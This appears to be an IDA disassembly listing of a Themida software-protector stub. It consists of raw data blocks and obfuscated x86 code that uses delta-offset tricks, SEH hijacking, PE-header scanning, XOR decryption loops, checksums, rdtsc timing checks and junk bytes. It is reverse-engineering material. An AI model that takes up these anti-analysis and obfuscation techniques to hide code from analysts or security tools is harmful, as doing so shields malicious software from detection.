0FEF80000h, 12h, 2 dup(0) dd 69DD0000h, 0A1h, 4 dup(0) dd 0A00F0000h, 0A1h, 2 dup(0) dd 240000h, 577C0000h, 4D5Ah, 0 dd 3040000h, 17FFEh, 2 dup(0) dd 230000h, 58h, 0FCDE0000h, 5957h, 0Ch dup(0) dd 0FCFC0000h, 76CD8001h, 77E7h, 31450000h, 0A1h, 7 dup(0) dd 59740000h, 8655h, 2 dup(0) dd 99E90000h, 3 dup(0) dd 9BD70000h, 5Bh, 3 dup(0) dd 0E4520000h, 0FFA7h, 5 dup(0) dd 21210000h, 67AC2121h, 0F663h, 7 dup(0) dd 0EB060000h, 0D15415BAh, 0EF77h, 18F50000h, 58h, 0 dd 0FFB00000h, 1B3B01E1h, 7FA2h, 19C60000h, 8AC5h, 3 dup(0) dd 28380000h, 58h, 0 dd 57C90000h, 0B8B8818h, 7584005Ah, 5Bh, 2 dup(0) dd 0FF540000h, 12h, 0 dd 0E6030000h, 5Bh, 0A2970000h, 59h, 3 dup(0) dd 0F9BF0000h, 0B6BE29AAh, 0D57Bh, 3 dup(0) dd 37300000h, 58h, 2 dup(0) dd 80000h, 242h, 2 dup(0) dd 5D80000h, 77E8h, 0Ah dup(0) dd 10000h, 207Bh, 0C210000h, 5Ah, 0 dd 6E7F0000h, 0FCFC0058h, 8001h, 9 dup(0) dd 88F10000h, 0D2105957h, 8915E133h, 0A1h, 5 dup(0) dd 6A600000h, 5500h, 4 dup(0) dd 93EF0000h, 77E7h, 2 dup(0) dd 10000h, 8D8D0000h, 0E93Ch, 4 dup(0) dd 15680000h, 440100A2h, 6BA0E1C7h, 5AB3h, 0 dd 21680000h, 77E8h, 0 dd 0D92F0000h, 939312CCh, 0A1h, 3 dup(0) dd 7F5D0000h, 3259h, 3 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54C83E: ; CODE XREF: start:loc_549345j mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 6283503h mov [ebp+62806A1h], edx mov [ebp+6281F4Dh], esi mov [ebp+6282D0Dh], eax cmp dword ptr [ebp+62816C9h], 0 jz short loc_54C876 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_54C876: ; CODE XREF: start+6B854j mov eax, [esp+40h+var_1C] mov [ebp+6280E25h], eax push 45h call sub_54C92A push 783749Ah call sub_54C970 push 0A894B25h call sub_54C970 jmp loc_54CAB4 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_54C92A proc near ; CODE XREF: start+6B86Ep var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 62835F1h mov ebx, edx mov [ebp+var_28], 0 loc_54C946: ; CODE XREF: sub_54C92A+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_54C965 mov eax, [ebp+arg_0] mov [ebx+628355Bh], eax inc [ebp+arg_0] inc ebx jmp short loc_54C946 ; --------------------------------------------------------------------------- loc_54C965: ; CODE XREF: sub_54C92A+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_54C92A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_54C970 proc near ; CODE XREF: start+6B878p start+6B882p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 628363Ah lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_54C996: ; CODE XREF: sub_54C970+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_54C996 mov [ebp+var_84], 0 lea edi, [edx+628355Bh] lea esi, [ebp+var_80] loc_54C9C6: ; CODE XREF: sub_54C970+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_54C9D2: ; CODE XREF: sub_54C970+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_54C9D2 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_54C9C6 popa leave retn 4 sub_54C970 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_54CA10 ; --------------------------------------------------------------------------- loc_54CA0C: ; CODE XREF: Themida_:0054CA13j inc dword ptr [ebp-4] inc esi loc_54CA10: ; CODE XREF: Themida_:0054CA0Aj cmp byte ptr [esi], 0 jnz short loc_54CA0C mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_54CAA1 ; --------------------------------------------------------------------------- loc_54CA22: ; CODE XREF: Themida_:0054CAA4j mov dword ptr [ebp-8], 0 jmp short loc_54CA98 ; --------------------------------------------------------------------------- loc_54CA2B: ; CODE XREF: Themida_:0054CA9Cj mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_54CA85 ; --------------------------------------------------------------------------- loc_54CA3B: ; CODE XREF: Themida_:0054CA89j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_54CA5D cmp bl, 39h ja short loc_54CA5D sub bl, 30h jmp short loc_54CA7F ; --------------------------------------------------------------------------- loc_54CA5D: ; CODE XREF: Themida_:0054CA51j ; Themida_:0054CA56j cmp bl, 61h jb short loc_54CA6F cmp bl, 66h ja short loc_54CA6F sub bl, 61h add bl, 0Ah jmp short loc_54CA7F ; --------------------------------------------------------------------------- loc_54CA6F: ; CODE XREF: Themida_:0054CA60j ; Themida_:0054CA65j cmp bl, 41h jb short loc_54CA7F cmp bl, 46h ja short loc_54CA7F sub bl, 41h add bl, 0Ah loc_54CA7F: ; CODE XREF: Themida_:0054CA5Bj ; Themida_:0054CA6Dj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_54CA85: ; CODE XREF: Themida_:0054CA39j cmp dword ptr [ebp-0Ch], 2 jb short loc_54CA3B cmp dword ptr [ebp-10h], 0 jbe short loc_54CA95 mov eax, [ebp-10h] stosb loc_54CA95: ; CODE XREF: Themida_:0054CA8Fj inc dword ptr [ebp-8] loc_54CA98: ; CODE XREF: Themida_:0054CA29j cmp dword ptr [ebp-8], 2 jb short loc_54CA2B add edx, 4 loc_54CAA1: ; CODE XREF: Themida_:0054CA20j cmp edx, [ebp-4] jb loc_54CA22 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54CAB4: ; CODE XREF: start+6B887j mov ecx, 7000h lea edi, [ebp+6283780h] loc_54CABF: ; CODE XREF: start+6BAAFj dec byte ptr [edi] inc edi dec ecx jnz short loc_54CABF mov eax, 48692121h mov edx, 0F00E1000h sub edx, 0F0000000h lea eax, [ebp+6283874h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax mov ebx, ecx jl loc_54CAFF jge loc_54CAFF cld loc_54CAFF: ; CODE XREF: start+6BADEj start+6BAE4j sub eax, edx pusha mov ax, cx add ax, 0B48Ch popa jg loc_54CB22 push edx jmp loc_54CB21 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0D3h dd 69CE2E0Eh, 158A6860h db 0BCh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54CB21: ; CODE XREF: start+6BAFEj pop ebx loc_54CB22: ; CODE XREF: start+6BAF7j and eax, 0FFFFF000h mov ebx, 60D7B5C5h mov ecx, edx xor edi, edi loc_54CB30: ; CODE XREF: start+6BB37j cmp word ptr [eax], 5A4Dh jnz short loc_54CB45 movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz short loc_54CB4D loc_54CB45: ; CODE XREF: start+6BB21j sub eax, 1000h inc edi jmp short loc_54CB30 ; --------------------------------------------------------------------------- loc_54CB4D: ; CODE XREF: start+6BB2Fj pop large dword ptr fs:0 add esp, 4 lea edx, [ebp+6283887h] push edx push large dword ptr fs:0 mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_54CB87 mov esi, [eax+1Ch] loc_54CB87: ; CODE XREF: start+6BB6Ej xor eax, eax loc_54CB89: ; CODE XREF: start+6BB88j cmp eax, 32h jz short loc_54CBAD cmp word ptr [esi], 5A4Dh jz short loc_54CB9E loc_54CB95: ; CODE XREF: start+6BB97j sub esi, 10000h inc eax jmp short loc_54CB89 ; --------------------------------------------------------------------------- loc_54CB9E: ; CODE XREF: start+6BB7Fj mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_54CBEF jmp short loc_54CB95 ; --------------------------------------------------------------------------- loc_54CBAD: ; CODE XREF: start+6BB78j pop large dword ptr fs:0 add esp, 4 popa retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] push ebp call $+5 pop ebp sub ebp, 6283892h lea eax, [ebp+6283850h] mov [ecx+0B8h], eax pop ebp pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54CBEF: ; CODE XREF: start+6BB95j xchg eax, esi pop large dword ptr fs:0 add esp, 4 push eax jmp loc_54CC05 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- or eax, 7A5F0C47h ; START OF FUNCTION CHUNK FOR start loc_54CC05: ; CODE XREF: start+6BBE7j pop ebx add ebx, 3BE5C01Dh mov cx, ds push 0 push esi call sub_54CC1A and [esi-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_54CC1A proc near ; CODE XREF: start+6BBFEp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_54CC1A endp ; --------------------------------------------------------------------------- inc ebp movzx ebx, ax and cl, 4 push 0 push ebx call sub_54CC3C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54CC3C proc near ; CODE XREF: Themida_:0054CC34p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_54CC3C endp ; --------------------------------------------------------------------------- daa popf sub edx, ecx jl short loc_54CC5C leave jnz loc_54CC91 sbb bh, 33h loc_54CC5C: ; CODE XREF: Themida_:0054CC50j mov dword ptr [ebp+6282415h], 1 stc jmp loc_54CD06 ; --------------------------------------------------------------------------- push 0 push ecx call sub_54CC77 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54CC77 proc near ; CODE XREF: Themida_:0054CC6Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_54CC77 endp ; --------------------------------------------------------------------------- db 8Ch dd 0CEBE5755h, 8855CF79h ; --------------------------------------------------------------------------- push ebp loc_54CC91: ; CODE XREF: Themida_:0054CC53j mov dword ptr [ebp+6282415h], 0 push 0 push ebp call sub_54CCA6 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54CCA6 proc near ; CODE XREF: Themida_:0054CC9Ep arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_54CCA6 endp ; --------------------------------------------------------------------------- dw 5852h dd 0D36532A6h, 7E8h, 73C67700h, 0CAEF143Ch, 7E8h, 9614E500h dd 0A628FD5Ch, 5BC9EB80h, 11E85Bh, 396C0000h, 0DC2C3934h dd 38083BDDh, 351DF811h, 0E8485BA1h, 0Eh, 0E5EFF549h, 0A5B75FFFh dd 988F15EFh, 0D88B7254h ; --------------------------------------------------------------------------- pop ebx pop ebx loc_54CD06: ; CODE XREF: Themida_:0054CC67j mov [ebp+6282DD5h], eax jb loc_54CD14 mov ebx, edi loc_54CD14: ; CODE XREF: Themida_:0054CD0Cj mov [ebp+628140Dh], eax call near ptr loc_54CD25+1 out 0CDh, eax ; DMA controller, 8237A-5. ; master clear. ; Any OUT clears the ctrlr (must be re-initialized) pop esi inc ecx adc edi, esp loc_54CD25: ; CODE XREF: Themida_:0054CD1Ap add ch, cl adc [eax], eax ; --------------------------------------------------------------------------- db 2 dup(0), 0FAh ; --------------------------------------------------------------------------- setalc push edx dec ecx enter 0FFFF9EB0h, 0E5h js short near ptr loc_54CD91+3 jbe short near ptr loc_54CD40+1 add al, 7 mov ah, 0CEh push edi pop edx movsx edi, ax loc_54CD40: ; CODE XREF: Themida_:0054CD35j add edx, 7533h cmc mov esi, 0 jle loc_54CD55 or ah, 8 loc_54CD55: ; CODE XREF: Themida_:0054CD4Cj ; Themida_:0054CDC3j mov ebx, [edx+esi] clc xor ebx, 425B21BAh movzx ecx, bx add ebx, 3D60E7C0h mov ah, 6Fh sub ebx, 41964F36h mov eax, 1A1A6637h mov [edx+esi], ebx pusha jmp loc_54CD91 ; --------------------------------------------------------------------------- dw 0C7BEh dd 60DCE1D5h, 288822A5h, 9B71060Bh, 8548CD81h db 8Dh ; --------------------------------------------------------------------------- loc_54CD91: ; CODE XREF: Themida_:0054CD79j ; Themida_:0054CD33j mov ecx, 10998275h popa jmp loc_54CDA9 ; --------------------------------------------------------------------------- dd 0FA8AD7B3h, 7A99F704h, 0C4500B42h db 0DEh ; --------------------------------------------------------------------------- loc_54CDA9: ; CODE XREF: Themida_:0054CD97j sub esi, 4 call near ptr loc_54CDB7+2 mov byte ptr [edi], 51h push es out dx, eax lodsb loc_54CDB7: ; CODE XREF: Themida_:0054CDACp add eax, 0FB8B66C8h pop eax cmp esi, 0FFFF8B90h jnz loc_54CD55 push edx jz near ptr loc_54CDE3+2 call near ptr loc_54CDE3+1 fcom qword ptr [ebx+64A9831Fh] jnp short loc_54CE16 fnstcw word ptr [ebp+71h] and [ecx-27h], bh loc_54CDE3: ; CODE XREF: Themida_:0054CDD0p ; Themida_:0054CDCAj cmp eax, 6E85958h ; --------------------------------------------------------------------------- dd 21000000h, 0F4825CADh, 0F6805032h, 0E8595AD7h, 14h dd 6E86D014h, 3EF4EE2Eh, 850E787Eh, 0CA724C33h, 0BC69122Eh dd 0D2C1815Ah ; --------------------------------------------------------------------------- jb short $+2 loc_54CE16: ; CODE XREF: Themida_:0054CDDBj add al, bh mov ebx, 3521CCE7h sub ebx, 3521B06Bh call near ptr loc_54CE28+5 loc_54CE28: ; CODE XREF: Themida_:0054CE23p and byte ptr [ebp+60B92382h], 66h mov edi, 42BBF301h ; --------------------------------------------------------------------------- dd 6108FB8Ch, 5E31FF5Ah, 0DE8h, 0E6159400h, 0D257193Ch dd 0D7D2B64Eh, 0AE97F73h, 0BC000000h, 23956881h, 1547D3Ah dd 0EE815886h, 7D00988Eh, 6E9h, 0B1C2E200h, 81E4F3E0h dd 8A7350EEh, 0F7816611h, 0EE814683h, 778D2801h, 31895CB2h dd 8304CE80h, 0B76001E9h, 49496177h, 6E949h, 485B0000h dd 9829FE73h, 0F01EB83h, 1085h, 27E900h, 31D0000h, 9FB8E4F6h dd 0D95596AFh, 0C8806061h, 61C3B69Eh, 0FFFF78E9h, 433F3FFFh dd 6309A631h, 0AB9EBE27h, 38C212Eh, 1504EB17h, 0E9000002h dd 6B0h, 11E9h, 0EF6BEC00h, 9AFEF23Bh, 0FCD08AB5h, 0FA2CAF95h dd 29608356h, 2803A99Dh, 0B5958B06h, 61062819h, 89B58960h dd 89062817h, 2825ED9Dh, 0B806h, 820F0000h, 0Ch, 6840Fh dd 0BD090000h, 628032Dh, 0F7D88160h, 66361382h, 61A240BFh dd 2824548Bh, 7458589h, 85890628h, 6281469h, 1858589h dd 3CBE0628h, 0F000000h, 18Ah, 7403F500h, 8D892424h, 62829B5h dd 0BD89AD66h, 6281909h, 24244403h, 9AB96660h, 89852975h dd 6106280Fh, 0F525090h, 68Bh, 870F00h, 0F000000h, 8E86031h dd 4D000000h, 7E97D01h, 58439183h, 0FBA814BAh, 585A614Ch dd 0C68B6050h, 850F9061h, 17h, 12E9h, 0D89CAA00h, 0D2DADCF3h dd 6CA49333h, 0EAB76E01h, 8B897225h, 3FC7840h, 0E9282444h dd 0Fh, 0A077CCBCh, 9A6B5951h, 0BBD40590h, 8BACB1D6h, 60F91840h dd 9E8h, 2B67E00h, 0CDB17908h, 0F59A9F8h, 28Eh, 615F5700h dd 1DB58940h, 89062818h, 283B8E85h, 9953106h, 58062814h dd 158D2960h, 8B062833h, 281655B5h, 8BF86106h, 95097870h dd 6281061h, 0F1CC683h, 184h, 7403F900h, 840F2424h, 0Ch dd 6800Fh, 0BD890000h, 62820BDh, 34ADBD8Dh, 85310628h dd 6280E99h, 14E9ADh, 0E0900000h, 0C924DF98h, 0E212510Bh dd 19569035h, 0EDDE2359h, 0B5092F1Bh, 62812ADh, 24244403h dd 1505BD89h, 2B600628h, 282E5D8Dh, 89AB6106h, 2831D58Dh dd 1D952906h, 8D062806h, 281181BDh, 1DBD0906h, 0AD062800h dd 1820Fh, 3FC0000h, 29242444h, 2834B585h, 850F9006h, 0Ch dd 6850Fh, 860F0000h, 0 dd 128C0F50h, 50000000h, 0F525052h, 0F585A31h, 860F31h dd 5A000000h, 0F609058h, 688h, 0F1B58B00h, 3306280Dh, 2825519Dh dd 89AB6106h, 28220D85h, 95BD8D06h, 0E9062826h, 0Eh, 9CE11521h dd 38A0C859h, 226E32F9h, 60AD9BC3h, 1DFBA66h, 24B58589h dd 3610628h, 89282444h, 2834C1B5h, 6660AB06h, 0FDBFFA8Bh dd 61255935h, 6810F5Eh, 9000000h, 2808098Dh, 8E8DFF06h dd 8306283Bh, 283B8EBDh, 10750006h, 1C2444C7h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+628403Ah] jmp esi ; --------------------------------------------------------------------------- dd 4403AD56h, 8B972824h, 25858ADFh, 8406280Dh, 3A0474C0h dd 574C7507h ; --------------------------------------------------------------------------- xor al, al loc_54D176: ; CODE XREF: Themida_:0054D177j scasb jnz short loc_54D176 pop esi sub edi, ebx push edx cld xor ecx, ecx dec ecx mov edx, ecx loc_54D183: ; CODE XREF: Themida_:0054D1ACj xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_54D192: ; CODE XREF: Themida_:0054D1A5j shr bx, 1 rcr ax, 1 jnb short loc_54D1A3 xor ax, 5041h xor bx, 5449h loc_54D1A3: ; CODE XREF: Themida_:0054D198j dec dh jnz short loc_54D192 xor ecx, eax xor edx, ebx dec edi jnz short loc_54D183 not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edx cmp edx, eax jz short loc_54D1CE pop esi add esi, 4 inc dword ptr [ebp+6281469h] ; --------------------------------------------------------------------------- db 0E9h, 6Fh, 0FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D1CE: ; CODE XREF: Themida_:0054D1BDj pop esi xor [ebp+62803E9h], edi sub [ebp+6280FA9h], ecx mov eax, [ebp+6281469h] stc shl eax, 1 jmp loc_54D1F3 ; --------------------------------------------------------------------------- adc [ebx-51h], esp retf 7E59h ; --------------------------------------------------------------------------- db 0E1h db 37h, 36h, 8Ah ; --------------------------------------------------------------------------- loc_54D1F3: ; CODE XREF: Themida_:0054D1E4j add eax, [ebp+6282695h] jmp loc_54D207 ; --------------------------------------------------------------------------- cmp esi, ecx pusha pusha stc retf 1E63h ; --------------------------------------------------------------------------- pusha loc_54D207: ; CODE XREF: Themida_:0054D1F9j mov esi, 0 jmp loc_54D218 ; --------------------------------------------------------------------------- xchg eax, edx les edx, [eax-23BC43F1h] loc_54D218: ; CODE XREF: Themida_:0054D20Cj jmp loc_54D223 ; --------------------------------------------------------------------------- db 23h, 0C6h, 97h db 9Eh byte_54D221 db 0C2h, 95h ; CODE XREF: Themida_:0054D284j ; --------------------------------------------------------------------------- loc_54D223: ; CODE XREF: Themida_:loc_54D218j xchg eax, esi jmp loc_54D238 ; --------------------------------------------------------------------------- db 0B4h, 0F3h, 78h dd 0CB69BB2Dh, 0CC179BEFh, 780708C0h ; --------------------------------------------------------------------------- loc_54D238: ; CODE XREF: Themida_:0054D224j lodsw jp loc_54D241 clc loc_54D241: ; CODE XREF: Themida_:0054D23Aj shl eax, 2 stc add eax, [ebp+62834ADh] cld xchg eax, esi mov [ebp+628234Dh], eax cmc lodsd stc mov ecx, [esp+24h] clc add eax, [esp+24h] sub [ebp+62832F1h], esi mov [esp+1Ch], eax cmc xchg eax, esi pusha mov ebx, [ebp+628112Dh] call sub_54D286 stosd stosb cli and al, 0BAh xchg dh, [eax-7Bh] and eax, 2F926F83h jb short near ptr byte_54D221 ; =============== S U B R O U T I N E ======================================= sub_54D286 proc near ; CODE XREF: Themida_:0054D272p arg_3C = dword ptr 40h mov edx, [ebp+6281F05h] pop edi popa pusha movsx esi, si sub [ebp+628233Dh], esi popa lodsb js loc_54D2AC jmp loc_54D2AC ; --------------------------------------------------------------------------- db 13h, 0D7h, 0EAh dd 4A7CF0C5h ; --------------------------------------------------------------------------- loc_54D2AC: ; CODE XREF: sub_54D286+14j ; sub_54D286+1Aj xor cl, cl jmp loc_54D2C7 ; --------------------------------------------------------------------------- db 83h dd 0E79257D9h, 23FE2D4Dh, 0D9259B15h, 0BFF2E2D1h db 0EAh, 0FDh, 56h ; --------------------------------------------------------------------------- loc_54D2C7: ; CODE XREF: sub_54D286+28j inc cl cmc loc_54D2CA: ; CODE XREF: sub_54D286+A3j rcl al, 1 jnb loc_54D37F cld pusha mov [ebp+6282F99h], ecx pusha mov cx, 0D3B4h mov [ebp+6280F89h], edx popa popa rcl al, 1 jnb loc_54D37F clc rcl al, 1 jb loc_54D37F jns loc_54D308 jmp loc_54D308 ; --------------------------------------------------------------------------- db 0Ch dd 0CC228136h ; --------------------------------------------------------------------------- loc_54D308: ; CODE XREF: sub_54D286+72j ; sub_54D286+78j rcl al, 1 jb loc_54D37F pusha jmp loc_54D322 ; --------------------------------------------------------------------------- dw 4544h dd 0F7023F78h, 40253057h ; --------------------------------------------------------------------------- fldenv byte ptr [esi] loc_54D322: ; CODE XREF: sub_54D286+8Bj mov di, 0C15Bh popa dec cl jns loc_54D2CA xor [ebp+6282171h], edx sub [ebp+6280C49h], ebx add esp, 20h cmc mov [ebp+6280849h], edi mov [esp-44h+arg_3C], 0 mov [ebp+628233Dh], edi mov eax, 1 stc jno loc_54D365 add [ebp+6282665h], edx loc_54D365: ; CODE XREF: sub_54D286+D3j lea ecx, [ebp+62873C4h] jmp loc_54D37B ; --------------------------------------------------------------------------- push es test byte ptr [ecx-383FD1Eh], 81h test al, 0Ch scasb loc_54D37B: ; CODE XREF: sub_54D286+E5j jmp ecx ; --------------------------------------------------------------------------- pusha popa loc_54D37F: ; CODE XREF: sub_54D286+46j ; sub_54D286+63j ... mov byte ptr [ebp+6280D25h], 0 add [ebp+62818A5h], esi popa clc retn 8 sub_54D286 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov [ebp+628204Dh], edi xchg eax, esi push eax push edx jmp loc_54D3A4 ; --------------------------------------------------------------------------- db 64h dd 1BAEC4A0h ; --------------------------------------------------------------------------- loc_54D3A4: ; CODE XREF: Themida_:0054D39Aj rdtsc jnp loc_54D3AE pusha popa loc_54D3AE: ; CODE XREF: Themida_:0054D3A6j pop edx pop eax push eax jmp loc_54D3C0 ; --------------------------------------------------------------------------- dw 1D0Bh dd 24502B96h, 5BA0A118h ; --------------------------------------------------------------------------- loc_54D3C0: ; CODE XREF: Themida_:0054D3B1j xchg eax, esi jl loc_54D3CD sub [ebp+62803D5h], edx loc_54D3CD: ; CODE XREF: Themida_:0054D3C1j mov [ebp+628422Ah], esi mov [ebp+6280499h], edi mov [ebp+628423Bh], ecx clc lea esi, [ebp+62840CDh] jl loc_54D3ED stc loc_54D3ED: ; CODE XREF: Themida_:0054D3E6j lea eax, dword_5B8EA1[ebp] clc call eax pusha mov [ebp+6282E41h], esi mov di, 0A38h popa pop esi cld retn ; --------------------------------------------------------------------------- jl loc_54D412 jz loc_54D412 stc loc_54D412: ; CODE XREF: Themida_:0054D405j ; Themida_:0054D40Bj mov esi, [ebp+628422Ah] mov [ebp+6282DFDh], edx mov ecx, [ebp+628423Bh] jmp loc_54D435 ; --------------------------------------------------------------------------- db 0D9h, 3, 52h dd 83039834h, 78BB96ADh db 25h ; --------------------------------------------------------------------------- loc_54D435: ; CODE XREF: Themida_:0054D424j sub eax, eax mov [ebp+62825C9h], ebx jnp loc_54D449 mov [ebp+6280F6Dh], eax loc_54D449: ; CODE XREF: Themida_:0054D43Dj mov ebx, ecx cmc jmp loc_54D54F ; --------------------------------------------------------------------------- pusha mov edx, 416E5ACEh js loc_54D460 movzx edx, ax loc_54D460: ; CODE XREF: Themida_:0054D457j popa loc_54D461: ; CODE XREF: Themida_:0054D551j xor ah, [esi] jmp loc_54D479 ; --------------------------------------------------------------------------- dd 207E3653h, 0E6FEA60Ch, 265A7117h, 0E979907Eh db 7Bh ; --------------------------------------------------------------------------- loc_54D479: ; CODE XREF: Themida_:0054D463j mov dl, 2 jmp loc_54D48E ; --------------------------------------------------------------------------- dd 0D16E5324h, 6B3A1929h, 64F7E94Dh db 0F9h, 0C6h ; --------------------------------------------------------------------------- loc_54D48E: ; CODE XREF: Themida_:0054D47Bj jmp loc_54D4F2 ; --------------------------------------------------------------------------- or [ebp+6282485h], edx loc_54D499: ; CODE XREF: Themida_:0054D4F4j xor al, dl jmp loc_54D4AE ; --------------------------------------------------------------------------- or al, 79h lodsd movsb setalc aam 72h retn 1821h ; --------------------------------------------------------------------------- dw 4E34h db 0E0h, 0B6h ; --------------------------------------------------------------------------- loc_54D4AE: ; CODE XREF: Themida_:0054D49Bj add eax, 8A751D7Ah stc mov cl, ah jns loc_54D4CA pusha jno $+6 mov [ebp+6282A79h], ecx popa loc_54D4CA: ; CODE XREF: Themida_:0054D4B6j ror eax, cl jmp loc_54D4E3 ; --------------------------------------------------------------------------- db 50h, 0D6h, 0A8h dd 5964578Bh, 0DD38F480h, 1DE6FBFh db 0E8h, 0E4h, 7Ah ; --------------------------------------------------------------------------- loc_54D4E3: ; CODE XREF: Themida_:0054D4CCj xor eax, 98D10842h stc or [ebp+6281949h], ebx dec dl clc loc_54D4F2: ; CODE XREF: Themida_:loc_54D48Ej or dl, dl jnz loc_54D499 jmp loc_54D50B ; --------------------------------------------------------------------------- db 8 dd 5C6220F4h, 1C905B89h db 8Fh, 0B9h, 0F6h ; --------------------------------------------------------------------------- loc_54D50B: ; CODE XREF: Themida_:0054D4FAj pusha jmp loc_54D51B ; --------------------------------------------------------------------------- db 16h, 0CDh, 17h dd 0D5618EBEh db 9Bh, 0E5h, 93h ; --------------------------------------------------------------------------- loc_54D51B: ; CODE XREF: Themida_:0054D50Cj call near ptr loc_54D531+2 mov bh, 5Ah sub al, 77h add [ebx], dl lodsd cmpsb mov ebp, 0F73E9F81h and ebx, [eax+edi*4-59h] loc_54D531: ; CODE XREF: Themida_:loc_54D51Bp sub cl, [edi-77h] mov ebp, 6282B91h pop ecx popa dec ebx jp loc_54D548 or [ebp+6281909h], eax loc_54D548: ; CODE XREF: Themida_:0054D53Cj inc esi add [ebp+6282491h], esi loc_54D54F: ; CODE XREF: Themida_:0054D44Cj or ebx, ebx jnz loc_54D461 xor [ebp+6280111h], eax mov [ebp+62832D1h], ecx iret ; --------------------------------------------------------------------------- dd 0FE8B6660h, 2DD99509h, 610628h, 6E900h, 0E38C0000h dd 1E5C492Eh, 0F90000F5h, 0F8F50000h, 9D890000h, 6281D51h dd 3BBB858Dh, 850F0628h, 16h, 11E9h, 984CA100h, 0C7DD10ABh dd 0C94F3B0Ah, 44E1ED7Ch, 8589FAEFh, 62812A1h, 1D7D8509h dd 858D0628h, 6284052h, 258589F5h, 0EB062822h, 14h, 3 dup(0) dd 8500h, 4F858D00h, 89062843h, 2821F585h, 90BD8306h, 62842h dd 122840Fh, 85C60000h, 6280D25h, 8B306856h, 34819811h dd 0EE60924h, 0D5B5FF4Ch, 8D06282Dh, 283BBB85h, 89D0FF06h dd 28428485h, 2585C606h, 5606280Dh, 4E8h, 0A8B85200h, 448B509Ch dd 8B0424h, 4244489h, 0D5B5FF58h, 8D06282Dh, 283BBB85h dd 89D0FF06h, 28428885h, 68046A06h, 985178CAh, 36240481h dd 8B67AE97h, 28429485h, 1F40506h, 0E0C10000h, 90509002h dd 95FF006Ah, 6284288h, 428C8589h, 0D88B0628h, 0FFFFFFB8h dd 0F595FFFFh, 8B062821h, 0F595FFC3h, 